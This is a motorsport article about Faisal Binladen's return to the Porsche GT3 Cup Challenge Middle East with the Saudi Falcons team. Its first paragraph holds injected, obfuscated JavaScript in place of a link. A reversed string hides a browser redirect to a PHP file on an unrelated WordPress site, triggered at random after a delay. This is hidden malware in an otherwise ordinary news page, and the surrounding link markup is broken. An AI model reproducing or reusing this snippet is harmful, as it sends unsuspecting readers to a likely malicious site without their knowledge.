There’s an oft-used expression batted around motorsport paddocks in an attempt to keep drivers on their respective toes: you’re only as good as your last race. For Faisal Binladen from the Saudi Falcons, this was especially pertinent at the Porsche GT3 Cup Challenge Middle East $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-middle-east-round-2-bahrain-two-for-two/” target=”_blank”>season opener in Bahrain.
Indeed, due to his studies in London (architecture, just by the by) and time spent establishing the new Saudi Falcons Racing team, round one of the 2012/2013 season was the first time Faisal had turned a GT3 Cup wheel in anger in three years.
And it wasn’t just the pressure of race rustiness Faisal had potentially hanging over him. Not only would he be competing for the current Team Champions, his teammate – Abdulaziz Turki AlFaisal – is also the reigning Driver’s Champion.
Questioning these minor details on Friday though registered little more than a wry grin from Faisal. Sure he wanted the Falcons to do well (hoping for anything less would have been ridiculous), but getting back into the car was going to be, first and foremost, fun.
“I feel I’ve been very chilled,” Faisal explained. “I’ve been having fun because, y’know, you can’t be serious all the time. It’s draining. Sure I’m concentrating on doing the job well, but this is something that can really can be an enjoyable experience!”
Throughout practice and qualifying for race one, jokes were shared with mechanics as setup strategies were discussed, and time was spent soaking up the event’s atmosphere.
No race weekend is without problems though. Halfway through a practice start, teammate Abdulaziz (affectionately known as ATF) suffered driveshaft failure, the resulting repairs leaving him with just five minutes to post a qualifying time.
He would eventually start on the front row of the grid, but it was a close call. Still, collecting a second and a third from the weekend’s two races helped ease the hardship.
For Faisal, nerves just as the green lights came on would prove to be his Achilles Heel. Seventh was a solid result, but the man himself knew that things could have gone better.
